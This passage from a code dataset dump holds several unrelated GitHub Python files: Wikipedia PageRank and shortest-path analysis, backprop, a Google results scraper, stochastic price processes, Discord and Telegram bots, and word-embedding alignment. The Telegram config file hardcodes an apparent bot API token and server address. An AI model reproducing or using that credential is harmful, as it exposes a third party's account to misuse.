find_longest_titles(self):\n titles = sorted(self.titles.values(), key=len, reverse=True)\n print(\"The longest titles are:\")\n count = 0\n index = 0\n while count < 15 and index < len(titles):\n if titles[index].find(\"_\") == -1:\n print(titles[index])\n count += 1\n index += 1\n print()\n\n # Find the most linked pages.\n def find_most_linked_pages(self):\n link_count = {}\n for id in self.titles.keys():\n link_count[id] = 0\n\n for id in self.titles.keys():\n for dst in self.links[id]:\n link_count[dst] += 1\n\n print(\"The most linked pages are:\")\n link_count_max = max(link_count.values())\n for dst in link_count.keys():\n if link_count[dst] == link_count_max:\n print(self.titles[dst], link_count_max)\n print()\n\n def find_link(self, page_name):\n #This will return the page id given its name, so A returns 1\n for key,val in self.titles.items():\n if val == page_name:\n return key\n\n # Find the shortest path.\n # |start|: The title of the start page.\n # |goal|: The title of the goal page.\n def find_shortest_path(self, start, goal):\n if start == goal: return start\n q = collections.deque()\n #Queue: title : \"A\", id: 1, path, distance\n q.append([start, self.find_link(start), [str(start)], 0])\n\n visited = set()\n visited.add(start)\n\n while q:\n page, page_id, path, distance = q.popleft()\n if page == goal:\n print(\"\".join(path), \"with a distance of\", distance)\n # return path + [\"-->\", str(goal)]\n \n for node in self.links[page_id]:\n if node not in visited:\n visited.add(node)\n q.append((self.titles[node], node, path + [\" --> \"] + [self.titles[node]], distance + 1))\n\n return \"No Path Found!\"\n \n def check_convergence(self, old, new, threshold):\n # sum = 0\n # for page in old:\n # sum += (old[page] - new[page]) ** 2\n # if sum > threshold:\n # print(sum, \"FALSE\")\n # return False\n # return True\n\n s = sum((old[page]-new[page])**2 for page in old)\n if s > threshold:\n return False\n return True\n \n def page_rank(self, max_iter=100):\n num_pages = len(self.titles)\n threshold = 0.01\n #Step 1: Give all nodes an initial value of 1.0\n pagerank = {i:1.0 for i in self.titles.values()}\n convergence = False\n num_outgoing_links = {i:0 for i in self.titles.values()}\n # no_links = []\n \n #create dictionary to store number of outgoing links for each page\n for page, linked_p in self.links.items():\n num_outgoing_links[page] = len(linked_p)\n # if num_outgoing_links[page] == 0:\n # no_links.append(self.titles[page])\n \n iterations = 0\n while not convergence and iterations < max_iter:\n # store new_pageranks\n new_pagerank = {i:0.0 for i in self.titles.values()}\n total = 0\n \n #Step 2 and 3: Find each node's page_rank and distriubute it to adj pages\n for page, linked_page in self.links.items():\n if num_outgoing_links[page] > 0:\n score = pagerank[self.titles[page]] / num_outgoing_links[page]\n for p in linked_page:\n new_pagerank[self.titles[p]] += score\n else:\n #collect scores from all nodes with no linkes\n total += pagerank[self.titles[page]]\n \n #distribute values of all nodes with no links to nodes with links\n if total > 0:\n distribute_val = total / num_pages\n for page in new_pagerank:\n new_pagerank[page] += distribute_val\n \n # #check for convergence\n convergence = self.check_convergence(pagerank, new_pagerank, threshold)\n # #update pagerank everytime\n pagerank = new_pagerank\n iterations += 1\n\n return pagerank \n\n # Calculate the page ranks and print the most popular pages.\n def find_most_popular_pages(self):\n pagerank = self.page_rank()\n pagerank = sorted(pagerank.items(), key = lambda x: -x[1])\n \n print(\"The Top 10 Most Popular Pages:\")\n for i in range(10):\n print(i+1, pagerank[i][0])\n \n def find_least_popular_pages(self):\n pagerank = self.page_rank()\n pagerank = sorted(pagerank.items(), key = lambda x: x[1])\n \n print(\"The Top 10 Least Popular Pages:\")\n for i in range(10):\n print(i+1, pagerank[i][0])\n \n # Do something more interesting!! \n def find_something_more_interesting(self, start):\n #FIND NODES FURTHEST FROM START\n distances = {page: float(\"inf\") for page in self.titles.values()}\n distances[start] = 0\n q = collections.deque([start])\n visited = set()\n visited.add(start)\n\n while q:\n page = q.popleft()\n print(page)\n for linked_page in self.links[self.find_link(page)]:\n if distances[self.titles[linked_page]] == float(\"inf\") and self.titles[linked_page] not in visited:\n distances[self.titles[linked_page]] = distances[page] + 1\n q.append(self.titles[linked_page])\n visited.add(self.titles[linked_page])\n\n farthest = max(distances, key = distances.get)\n farthest_disntace = distances[farthest]\n return farthest, farthest_disntace\n \n def find_furthest(self):\n longest_distnace = 0 \n for page in self.titles.values():\n self.find_something_more_interesting(page)\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) != 3:\n print(\"usage: %s pages_file links_file\" % sys.argv[0])\n exit(1)\n\n wikipedia = Wikipedia(sys.argv[1], sys.argv[2])\n # wikipedia.find_longest_titles()\n # wikipedia.find_most_linked_pages()\n # wikipedia.find_shortest_path(\"渋谷\", \"パレートの法則\")\n wikipedia.find_most_popular_pages()\n wikipedia.find_least_popular_pages()\n # print(wikipedia.find_something_more_interesting(\"渋谷\"))\n # wikipedia.find_furthest()","repo_name":"swaggirl9000/Step-2023","sub_path":"week4/test_copy.py","file_name":"test_copy.py","file_ext":"py","file_size_in_byte":7922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"25147705647","text":"def L_model_backward(AL, Y, caches):\n \"\"\"\n Arguments:\n AL -- probability vector, output of the forward propagation (L_model_forward())\n Y -- true \"label\" vector (containing 0 if non-cat, 1 if cat)\n caches -- list of caches containing:\n every cache of linear_activation_forward() with \"relu\" (it's caches[l], for l in range(L-1) i.e l = 0...L-2)\n the cache of linear_activation_forward() with \"sigmoid\" (it's caches[L-1])\n \n Returns:\n grads -- A dictionary with the gradients\n grads[\"dA\" + str(l)] = ... \n grads[\"dW\" + str(l)] = ...\n grads[\"db\" + str(l)] = ... \n \"\"\"\n grads = {}\n L = len(caches) # the number of layers\n m = AL.shape[1]\n Y = Y.reshape(AL.shape) \n\n dAL = - (np.divide(Y, AL) - np.divide(1 - Y, 1 - AL))\n \n current_cache = caches[L-1]\n grads[\"dA\" + str(L-1)], grads[\"dW\" + str(L)], grads[\"db\" + str(L)] = linear_activation_backward(dAL,current_cache, \"sigmoid\")\n \n # Loop from l=L-2 to l=0\n for l in reversed(range(L-1)): \n current_cache = caches[l]\n dA_prev_temp, dW_temp, db_temp = linear_activation_backward(grads[\"dA\"+str(l+1)], current_cache, \"relu\")\n grads[\"dA\" + str(l)] = dA_prev_temp\n grads[\"dW\" + str(l + 1)] = dW_temp\n grads[\"db\" + str(l + 1)] = db_temp\n \n\n return grads\n","repo_name":"adityakuppa26/Deep-Learning","sub_path":"Neural Networks/Deep/L_model_backward.py","file_name":"L_model_backward.py","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"24568962827","text":"from bs4 import BeautifulSoup\r\nimport requests\r\nimport pandas as pd\r\n# nlp = spacy.load('en_core_web_sm')\r\nfrom spacy.matcher import Matcher\r\n# m_tool = Matcher(nlp.vocab)\r\nfrom urllib.request import urlopen as uReq\r\n\r\n\r\n# desktop user-agent\r\n\r\n\r\ndef simpleGoogleSearch(query, start):\r\n results = []\r\n\r\n query = query.replace(' ', '+')\r\n URL = f\"https://google.com/search?q={query}&start={start}\"\r\n URL = \"https://patents.google.com/patent/EP2536453B1/en\"\r\n # https://www.google.com/search?q=covid&start=0\r\n\r\n # desktop user-agent\r\n # ###################################\r\n #IMPORTANT go to chrome, search my user agent, copy the User agent into the User_agent down below.\r\n # ###################################\r\n USER_AGENT = \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36\"\r\n\r\n headers = {\"user-agent\": USER_AGENT}\r\n resp = requests.get(URL, headers=headers)\r\n\r\n if resp.status_code == 200:\r\n soup = BeautifulSoup(resp.content, \"html.parser\")\r\n\r\n for g in soup.find_all('div', class_='yuRUbf'):\r\n anchors = g.find_all('a')\r\n\r\n if anchors:\r\n link = anchors[0]['href']\r\n title = g.find('h3').text\r\n item = {\"title\": title, \"link\": link}\r\n results.append(item)\r\n\r\n return results\r\n\r\n\r\ndef googleToPandas(googleQuery):\r\n resultsCounter = 0\r\n resultsList = []\r\n\r\n while True:\r\n pageResults = simpleGoogleSearch(googleQuery, resultsCounter)\r\n\r\n if not pageResults:\r\n break\r\n else:\r\n resultsList.extend(pageResults)\r\n resultsCounter = resultsCounter + 10\r\n\r\n return pd.DataFrame(resultsList)\r\n\r\ngoogleSearchQuery = \"hello\"\r\nresults = googleToPandas(googleSearchQuery)\r\n\r\nresults.to_csv('GoogleResults.csv', index=False)\r\nresults.to_excel('GoogleResults.xlsx', index=False)\r\nresults.to_json('GoogleResults.jsonl', orient='records', lines=True)","repo_name":"hxiaodong0/patent","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"5580750409","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jul 27 17:06:01 2019\n\n@author: cantaro86\n\"\"\"\n\nimport numpy as np\nimport scipy.stats as ss\n\n\nclass Diffusion_process():\n \"\"\"\n Class for the diffusion process:\n r = risk free constant rate\n sig = constant diffusion coefficient\n mu = constant drift \n \"\"\"\n def __init__(self, r=0.1, sig=0.2, mu=0.1):\n self.r = r\n self.mu = mu\n if (sig<=0):\n raise ValueError(\"sig must be positive\")\n else:\n self.sig = sig\n\n def exp_RV(self, S0, T, N):\n W = ss.norm.rvs( (self.r-0.5*self.sig**2)*T , np.sqrt(T)*self.sig, N)\n S_T = S0 * np.exp(W)\n return S_T\n\n\n\nclass Merton_process():\n \"\"\"\n Class for the Merton process:\n r = risk free constant rate\n sig = constant diffusion coefficient\n lam = jump activity\n muJ = jump mean\n sigJ = jump standard deviation\n \"\"\"\n def __init__(self, r=0.1, sig=0.2, lam = 0.8, muJ = 0, sigJ = 0.5):\n self.r = r\n self.lam = lam\n self.muJ = muJ\n if (sig<0 or sigJ<0):\n raise ValueError(\"sig and sigJ must be positive\")\n else:\n self.sig = sig\n self.sigJ = sigJ\n \n # moments\n self.var = self.sig**2 + self.lam * self.sigJ**2 + self.lam * self.muJ**2\n self.skew = self.lam * (3* self.sigJ**2 * self.muJ + self.muJ**3) / self.var**(1.5)\n self.kurt = self.lam * (3* self.sigJ**3 + 6 * self.sigJ**2 * self.muJ**2 + self.muJ**4) / self.var**2\n \n def exp_RV(self, S0, T, N):\n m = self.lam * (np.exp(self.muJ + (self.sigJ**2)/2) -1) # coefficient m\n W = ss.norm.rvs(0, 1, N) # The normal RV vector \n P = ss.poisson.rvs(self.lam*T, size=N) # Poisson random vector (number of jumps)\n Jumps = np.asarray([ss.norm.rvs(self.muJ, self.sigJ, ind).sum() for ind in P ]) # Jumps vector\n S_T = S0 * np.exp( (self.r - 0.5*self.sig**2 -m )*T + np.sqrt(T)*self.sig*W + Jumps ) # Martingale exponential Merton\n return S_T\n \n\n \nclass VG_process():\n \"\"\"\n Class for the Variance Gamma process:\n r = risk free constant rate\n Using the representation of Brownian subordination, the parameters are: \n theta = drift of the Brownian motion\n sigma = standard deviation of the Brownian motion\n kappa = variance of the of the Gamma process \n \"\"\"\n def __init__(self, r=0.1, sigma=0.2, theta=-0.1, kappa=0.1):\n self.r = r\n self.theta = theta\n self.kappa = kappa\n if (sigma<0):\n raise ValueError(\"sigma must be positive\")\n else:\n self.sigma = sigma\n \n # moments\n self.var = self.sigma**2 + self.theta**2 * self.kappa \n self.skew = (2 * self.theta**3 * self.kappa**2 + 3*self.sigma**2 * self.theta * self.kappa) / (self.var**(1.5)) \n self.kurt = ( 3*self.sigma**4 * self.kappa +12*self.sigma**2 * self.theta**2 \\\n * self.kappa**2 + 6*self.theta**4 * self.kappa**3 ) / (self.var**2)\n\n def exp_RV(self, S0, T, N):\n w = -np.log(1 - self.theta * self.kappa - self.kappa/2 * self.sigma**2 ) /self.kappa # coefficient w\n rho = 1 / self.kappa\n G = ss.gamma(rho * T).rvs(N) / rho # The gamma RV\n Norm = ss.norm.rvs(0,1,N) # The normal RV \n VG = self.theta * G + self.sigma * np.sqrt(G) * Norm # VG process at final time G\n S_T = S0 * np.exp( (self.r-w)*T + VG ) # Martingale exponential VG \n return S_T\n \n \n \nclass Heston_process():\n \"\"\"\n Class for the Heston process:\n r = risk free constant rate\n rho = correlation between stock noise and variance noise\n theta = long term mean of the variance process\n sigma = volatility coefficient of the variance process\n kappa = mean reversion coefficient for the variance process\n \"\"\"\n def __init__(self, mu=0.1, rho=0, sigma=0.2, theta=-0.1, kappa=0.1):\n self.mu = mu\n if (np.abs(rho)>1):\n raise ValueError(\"|rho| must be <=1\")\n self.rho = rho\n if (theta<0 or sigma<0 or kappa<0):\n raise ValueError(\"sigma,theta,kappa must be positive\")\n else:\n self.theta = theta\n self.sigma = sigma\n self.kappa = kappa \n \n def path(self, S0, v0, N, T=1):\n \"\"\"\n Produces one path of the Heston process.\n N = number of time steps\n T = Time in years\n Returns two arrays S (price) and v (variance). \n \"\"\"\n \n MU = np.array([0, 0])\n COV = np.matrix([[1, self.rho], [self.rho, 1]])\n W = ss.multivariate_normal.rvs( mean=MU, cov=COV, size=N-1 )\n W_S = W[:,0] # Stock Brownian motion: W_1\n W_v = W[:,1] # Variance Brownian motion: W_2\n\n # Initialize vectors\n T_vec, dt = np.linspace(0,T,N, retstep=True )\n dt_sq = np.sqrt(dt)\n \n X0 = np.log(S0)\n v = np.zeros(N)\n v[0] = v0\n X = np.zeros(N)\n X[0] = X0\n\n # Generate paths\n for t in range(0,N-1):\n v_sq = np.sqrt(v[t])\n v[t+1] = np.abs( v[t] + self.kappa*(self.theta - v[t])*dt + self.sigma * v_sq * dt_sq * W_v[t] ) \n X[t+1] = X[t] + (self.mu - 0.5*v[t])*dt + v_sq * dt_sq * W_S[t]\n \n return np.exp(X), v\n \n \n\nclass NIG_process():\n \"\"\"\n Class for the Normal Inverse Gaussian process:\n r = risk free constant rate\n Using the representation of Brownian subordination, the parameters are: \n theta = drift of the Brownian motion\n sigma = standard deviation of the Brownian motion\n kappa = variance of the of the Gamma process \n \"\"\"\n def __init__(self, r=0.1, sigma=0.2, theta=-0.1, kappa=0.1):\n self.r = r\n self.theta = theta\n if (sigma<0 or kappa<0):\n raise ValueError(\"sigma and kappa must be positive\")\n else:\n self.sigma = sigma\n self.kappa = kappa\n \n # moments\n self.var = self.sigma**2 + self.theta**2 * self.kappa \n self.skew = (3 * self.theta**3 * self.kappa**2 + 3*self.sigma**2 * self.theta * self.kappa) / (self.var**(1.5)) \n self.kurt = ( 3*self.sigma**4 * self.kappa +18*self.sigma**2 * self.theta**2 \\\n * self.kappa**2 + 15*self.theta**4 * self.kappa**3 ) / (self.var**2)\n\n def exp_RV(self, S0, T, N):\n lam = T**2 / self.kappa # scale for the IG process\n mu_s = T / lam # scaled mean\n w = ( 1 - np.sqrt( 1 - 2*self.theta*self.kappa -self.kappa*self.sigma**2) )/self.kappa \n IG = ss.invgauss.rvs(mu=mu_s, scale=lam, size=N) # The IG RV\n Norm = ss.norm.rvs(0,1,N) # The normal RV \n X = self.theta * IG + self.sigma * np.sqrt(IG) * Norm # NIG random vector\n S_T = S0 * np.exp( (self.r-w)*T + X ) # exponential dynamics \n return S_T\n\n\n\n ","repo_name":"pimolc/SM516","sub_path":"Financial-Models-Numerical-Methods-master/functions/Processes.py","file_name":"Processes.py","file_ext":"py","file_size_in_byte":7098,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"10263125959","text":"\"\"\"\nOmniBot: The Pluggable Discord Bot\n\"\"\"\nimport configparser\nimport logging\nimport os\nimport sys\nimport traceback\nfrom logging.handlers import RotatingFileHandler\n\nimport discord\nfrom discord.ext import commands\n\n# if these don't load, you didn't install correctly.\nDEFAULT_EXTENSIONS = [\n 'jishaku',\n 'ext.admin',\n 'ext.fun',\n 'ext.rng',\n]\n\n# quick basic logging setup\nlogger = logging.getLogger('discord')\nlogger.setLevel(logging.DEBUG)\nhandler = RotatingFileHandler(f'{logger.name}.log', maxBytes=1024**2, backupCount=5, encoding='utf-8')\nformatter = logging.Formatter('%(asctime)s|%(name)s|%(levelname)s|%(message)s')\nhandler.setFormatter(formatter)\nlogger.addHandler(handler)\n\n\nclass OmniBot(commands.Bot):\n def __init__(self):\n # Get config file read\n self.config_file = 'config.ini'\n self.config = configparser.ConfigParser()\n self.config.read(self.config_file)\n\n # General config info for before the bot loads\n self.token = self.config['General']['token']\n self.owner_id = self.config['General']['owner_id']\n\n # Initialize the bot further to give access to extension/cog/command stuffs\n super().__init__(command_prefix=self.config['General']['command_prefix'],\n description='OmniBot: The Pluggable Discord Bot')\n\n # Borrow from Default extensions and build out any missing files\n self.ext_list = DEFAULT_EXTENSIONS\n for root, dir, files in os.walk('ext'):\n for file in files:\n if file in DEFAULT_EXTENSIONS:\n break\n file = 'ext.{0}'.format(file.strip('.py'))\n if file not in self.ext_list:\n self.ext_list.append(file)\n for ext in self.ext_list:\n try:\n self.load_extension(ext)\n except Exception as e:\n logger.error(e)\n\n async def on_ready(self):\n # Just a bunch of prints for shits\n logger.info('--------------------')\n logger.info('Logged in as')\n logger.info(self.user.name)\n logger.info(self.user.id)\n logger.info('--------------------')\n print('--------------------')\n print('Logged in as')\n print(self.user.name)\n print(self.user.id)\n print('--------------------')\n\n async def on_command_error(self, ctx, error):\n if isinstance(error, commands.NoPrivateMessage):\n await ctx.author.send('This command cannot be used in private messages.')\n elif isinstance(error, commands.DisabledCommand):\n await ctx.author.send('Sorry. This command is disabled and cannot be used.')\n elif isinstance(error, commands.CommandInvokeError):\n original = error.original\n if not isinstance(original, discord.HTTPException):\n print(f'In {ctx.command.qualified_name}:', file=sys.stderr)\n traceback.print_tb(original.__traceback__)\n print(f'{original.__class__.__name__}: {original}', file=sys.stderr)\n elif isinstance(error, commands.ArgumentParsingError):\n await ctx.send(error)\n\n def run(self):\n super().run(self.token)\n\nif __name__ == '__main__':\n OmniBot = OmniBot()\n try:\n OmniBot.run()\n except KeyboardInterrupt:\n OmniBot.logout()","repo_name":"WhatsCS/OmniBot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":3346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"6966824166","text":"import pandas as pd\nfrom matplotlib import pyplot as plt\n\n# To draw a graph showing relation b/w rating count and rating score\ndef draw_rating_relation(data):\n plt.plot(data.rating_score, data.rating_count)\n plt.xlabel('Rating Score')\n plt.ylabel('Rating Count')\n plt.title('Relation between Rating Score and Rating Count')\n plt.show()\n\n#to draw graph showing relation b/w rating score and budget\ndef draw_budget_rating_relation(data):\n plt.plot(data.rating_score, data.budget)\n plt.xlabel('Rating Score')\n plt.ylabel('Budget')\n plt.title('Relation between Rating Score and Budget')\n plt.show()\n\n#to show average earning(Gross USA) of each genre in\ndef display_average_earning_by_genre(data):\n reshaped_data = (data.set_index(data.columns.drop('genre',2).tolist()) # as one movie can have multiple genres\n .genre.str.split(',', expand=True) # so duplicating the rows for movies\n .stack() # having more tha one genre\n .reset_index()\n .rename(columns={0:'genre'})\n )\n\n #grouping the data by each genre and cluclating its average earning and then sorting it in descending order\n average_earning_by_genre = reshaped_data.groupby('genre')['gross_usa'].mean().sort_values(ascending=False)\n print(average_earning_by_genre)\n\ndata = pd.read_csv('imdb_movies.csv')\ndata = data.sort_values('rating_score')\n\ndraw_rating_relation(data)\ndraw_budget_rating_relation(data)\ndisplay_average_earning_by_genre(data)\n\n","repo_name":"Shoaibb06/Arbisoft_task","sub_path":"data_analysis.py","file_name":"data_analysis.py","file_ext":"py","file_size_in_byte":1556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"20280112900","text":"from telebot import TeleBot\nfrom binance.client import Client\n\n\nbinance_cli = Client()\n\nAPI_KEY = \"5718719985:AAH-A3v36S-xThgu4BFn01J4QvTiCsKWiO4\"\n\n\nbot = TeleBot(API_KEY)\n\nADMINS = [152950074, 509884280, 10902074, 141518724, 5431291155]\n\n\nWEBHOOK_HOST = '91.132.230.20'\nWEBHOOK_PORT = 443 # 443, 80, 88 or 8443 (port need to be 'open')\nWEBHOOK_LISTEN = '0.0.0.0' # In some VPS you may need to put here the IP addr\n\nWEBHOOK_SSL_CERT = './webhook_cert.pem' # Path to the ssl certificate\nWEBHOOK_SSL_PRIV = './webhook_pkey.pem' # Path to the ssl private key\n\n# WEBHOOK_SSL_CERT = '/etc/ssl/certs/nginx.crt' # Path to the ssl certificate\n# WEBHOOK_SSL_PRIV = '/etc/ssl/private/nginx.key' # Path to the ssl private key\n\n\n# Quick'n'dirty SSL certificate generation:\n#\n# openssl genrsa -out webhook_pkey.pem 2048\n# openssl req -new -x509 -days 3650 -key webhook_pkey.pem -out webhook_cert.pem\n#\n# When asked for \"Common Name (e.g. server FQDN or YOUR name)\" you should reply\n# with the same value in you put in WEBHOOK_HOST\n\nWEBHOOK_URL_BASE = \"https://%s:%s\" % (WEBHOOK_HOST, WEBHOOK_PORT)\nWEBHOOK_URL_PATH = \"/%s/\" % (API_KEY)\n\n","repo_name":"b-nimaev/orderplastic_bot","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1130,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"5551641982","text":"import time\nfrom selenium import webdriver\n\ndriver = webdriver.Firefox(executable_path=\"C:\\Program Files (x86)\\Mozilla Firefox\\geckodriver.exe\",\n firefox_binary=\"C:\\Program Files (x86)\\Mozilla Firefox\\Firefox.exe\")\n\ndriver.get(url=\"http://www.google.com/\")\n#driver.get('http://www.google.com/');\ntime.sleep(5) # Let the user actually see something!\nsearch_box = driver.find_element_by_name('q')\nsearch_box.send_keys('ChromeDriver')\nsearch_box.submit()\ntime.sleep(5) # Let the user actually see something!\ndriver.quit()","repo_name":"Scador/Obt","sub_path":"firefox_selenium.py","file_name":"firefox_selenium.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"38071299394","text":"import numpy as np\nimport cca\nimport util\nfrom operator import itemgetter\nfrom IPython import embed\nimport scipy\nimport operator\nimport tqdm\nimport torch\n\nimport numpy as np\nfrom sklearn.decomposition import PCA\n\ndef isotrop_preproc(v, D = 1):\n \"\"\"\n Code from https://gist.github.com/lgalke/febaaa1313d9c11f3bc8240defed8390\n Arguments:\n :v: word vectors of shape (n_words, n_dimensions)\n :D: number of principal components to subtract\n \"\"\"\n # 1. Subtract mean vector\n v_tilde = v - np.mean(v, axis=0)\n # 2. Compute the first `D` principal components\n # on centered embedding vectors\n u = PCA(n_components=D).fit(v_tilde).components_ # [D, emb_size]\n # Subtract first `D` principal components\n # [vocab_size, emb_size] @ [emb_size, D] @ [D, emb_size] -> [vocab_size, emb_size]\n return v_tilde - (np.matmul(v, np.matmul(u.T, u)))\n\ndef get_seeds(vocab_dict_src, vocab_dict_trg, n = 5000):\n allmatches = [k for k in vocab_dict_src if k in vocab_dict_trg]\n allmatches.sort(key = lambda x: vocab_dict_src[x] + vocab_dict_trg[x])\n return allmatches[:n]\n\ndef build_matrices(vocab_dict_src, vocab_dict_trg, embs_src, embs_trg, trans_dict = None, num_same = 5000):\n src_mat = []\n trg_mat = []\n if trans_dict:\n for sw, tw in trans_dict:\n if sw in vocab_dict_src and tw in vocab_dict_trg:\n src_mat.append(embs_src[vocab_dict_src[sw]])\n trg_mat.append(embs_trg[vocab_dict_trg[tw]])\n else:\n seeds = get_seeds(vocab_dict_src, vocab_dict_trg, n = num_same)\n for s in seeds:\n src_mat.append(embs_src[vocab_dict_src[s]])\n trg_mat.append(embs_trg[vocab_dict_trg[s]])\n return np.array(src_mat, dtype=np.float32), np.array(trg_mat, dtype=np.float32)\n\ndef project_pinv(vocab_dict_src, embs_src, vocab_dict_trg, embs_trg, trans_dict = None):\n src_mat, trg_mat = build_matrices(vocab_dict_src, vocab_dict_trg, embs_src, embs_trg, trans_dict)\n proj_mat = np.dot(np.linalg.pinv(src_mat), trg_mat)\n return np.dot(embs_src, proj_mat), proj_mat\n\ndef project_cca(vocab_dict_src, embs_src, vocab_dict_trg, embs_trg, trans_dict = None):\n src_mat, trg_mat = build_matrices(vocab_dict_src, vocab_dict_trg, embs_src, embs_trg, trans_dict)\n corr_an = cca.CCA(src_mat, trg_mat, min(src_mat.shape[1], trg_mat.shape[1]))\n corr_an.correlate(sklearn = False)\n proj_src, proj_trg = corr_an.transform(embs_src, embs_trg)\n return proj_src, proj_trg, corr_an\n\ndef project_proc(vocab_dict_src, embs_src, vocab_dict_trg, embs_trg, trans_dict = None):\n src_mat, trg_mat = build_matrices(vocab_dict_src, vocab_dict_trg, embs_src, embs_trg, trans_dict)\n product = np.matmul(src_mat.transpose(), trg_mat)\n U, s, V = np.linalg.svd(product)\n proj_mat = np.matmul(U, V)\n\n embs_src_projected = np.matmul(embs_src, proj_mat) \n return embs_src_projected, proj_mat, src_mat.shape[0]\n\ndef project_fipp(vocab_dict_src, embs_src, vocab_dict_trg, embs_trg, trans_dict, eps = 0.05, lamb = 1.0, self_learn_num = 14000, sl_chunk_size = 100):\n ## (1) Preprocess embeddings ##\n embs_src /= np.linalg.norm(embs_src, axis=1)[:, np.newaxis]\n embs_trg /= np.linalg.norm(embs_trg, axis=1)[:, np.newaxis]\n embs_src = isotrop_preproc(embs_src)\n embs_trg = isotrop_preproc(embs_trg)\n src_train, tgt_train = build_matrices(vocab_dict_src, vocab_dict_trg, embs_src, embs_trg, trans_dict)\n ## (1) Preprocess embeddings ##\n\n ## (2) Self-learning framework ##\n # Get indices of source and target pairs from training set\n curr_idxs_src, curr_idxs_tgt, max_sims = [], [], []\n for sw, tw in trans_dict:\n if sw in vocab_dict_src and tw in vocab_dict_trg:\n curr_idxs_src.append(vocab_dict_src[sw])\n curr_idxs_tgt.append(vocab_dict_trg[tw])\n\n if self_learn_num > 0:\n # Get normalized similarity matrices for training pairs\n sims_mat_src, sims_mat_tgt = np.dot(src_train, embs_src.T).T, np.dot(tgt_train, embs_trg.T).T\n sims_mat_src /= np.linalg.norm(sims_mat_src, axis=1)[:, np.newaxis]\n sims_mat_tgt /= np.linalg.norm(sims_mat_tgt, axis=1)[:, np.newaxis]\n\n # Get cross similarity between source and target words\n device = torch.device(\"cuda\")\n trg_mat = torch.Tensor(sims_mat_tgt.T).to(device)\n for chunk in tqdm.tqdm(range(int(len(sims_mat_src)/sl_chunk_size)+1)):\n sim_vec = torch.matmul(torch.Tensor(sims_mat_src[sl_chunk_size*chunk:sl_chunk_size*(chunk+1)]).to(device), trg_mat)\n \n batch_sims = torch.max(sim_vec, dim = 1)\n for idx in range(len(batch_sims[0])): \n max_sims.append((idx + chunk * sl_chunk_size, float(batch_sims[0][idx]), int(batch_sims[1][idx])))\n\n # Augment training set using pairs with most similar pairs outside of training set\n max_sims.sort(key=lambda x:x[1], reverse = True)\n total_augs, idx_to_word_src, idx_to_word_tgt = 0, {v:k for k,v in vocab_dict_src.items()}, {v:k for k,v in vocab_dict_trg.items()}\n\n for (idx_src, sim, idx_tgt) in max_sims:\n if idx_src not in curr_idxs_src and idx_tgt not in curr_idxs_tgt:\n total_augs += 1\n curr_idxs_src.append(idx_src)\n curr_idxs_tgt.append(idx_tgt)\n src_train = np.vstack([src_train, embs_src[idx_src]])\n tgt_train = np.vstack([tgt_train, embs_trg[idx_tgt]])\n\n if total_augs > self_learn_num:\n break\n ## (2) Self-learning framework ##\n\n ## (3) Run FIPP ##\n train_samples = len(src_train)\n x_s_inner_prod, x_t_inner_prod = np.matmul(src_train, src_train.T), np.matmul(tgt_train, tgt_train.T)\n indicator_mat = np.where(np.greater_equal(np.abs(x_s_inner_prod - x_t_inner_prod), eps),\n np.zeros((train_samples, train_samples)),\n np.ones((train_samples, train_samples)))\n\n gamma = (train_samples**2)/np.sum(indicator_mat)\n gram_fipp = np.where(np.greater(indicator_mat, 0), \n (x_s_inner_prod + (gamma * lamb * x_t_inner_prod)) / (1.0 + gamma * lamb), \n x_s_inner_prod)\n\n eig_vals, eig_vecs = scipy.linalg.eigh(gram_fipp, eigvals = (train_samples - embs_trg.shape[1], train_samples - 1))\n x_s_tilde_result = np.matmul(eig_vecs, np.sqrt(np.diag(eig_vals)))\n\n train_test_sim_mat, dim_mat = np.dot(src_train, embs_src.T), x_s_tilde_result.T.dot(x_s_tilde_result)\n ls_proj_x_s_tilde = scipy.linalg.solve(dim_mat, x_s_tilde_result.T.dot(train_test_sim_mat))\n ## (3) Run FIPP ##\n\n ## (4) Weighted procrustes rotation ##\n weight_vec = (1.0/np.linalg.norm(gram_fipp - x_t_inner_prod, axis = 0))[:, np.newaxis]\n src_train = ls_proj_x_s_tilde.T[curr_idxs_src]\n\n product = np.matmul((weight_vec * src_train).T, (weight_vec * tgt_train))\n U, s, V = np.linalg.svd(product)\n proj_mat = np.matmul(U, V)\n embs_src_projected = np.matmul(ls_proj_x_s_tilde.T, proj_mat)\n ## (4) Weighted procrustes rotation ##\n return embs_src_projected, proj_mat, embs_trg\n\n\ndef project_proc_bootstrap(vocab_dict_src, embs_src, vocab_dict_trg, embs_trg, trans_dict = None, growth_rate = 1.5, limit = 10000):\n vocab_dict_src_inv = {v : k for k, v in vocab_dict_src.items()}\n vocab_dict_trg_inv = {v : k for k, v in vocab_dict_trg.items()} \n cnt = 0\n\n orig_src_norm = util.mat_normalize(embs_src, norm_order=2, axis=1)\n orig_trg_norm = util.mat_normalize(embs_trg, norm_order=2, axis=1) \n\n size = 0\n while True:\n cnt += 1\n print(\"Boostrap iteration: \" + str(cnt))\n \n embs_src_projected, _, size1 = project_proc(vocab_dict_src, embs_src, vocab_dict_trg, embs_trg, trans_dict)\n embs_trg_projected, _, size2 = project_proc(vocab_dict_trg, embs_trg, vocab_dict_src, embs_src, 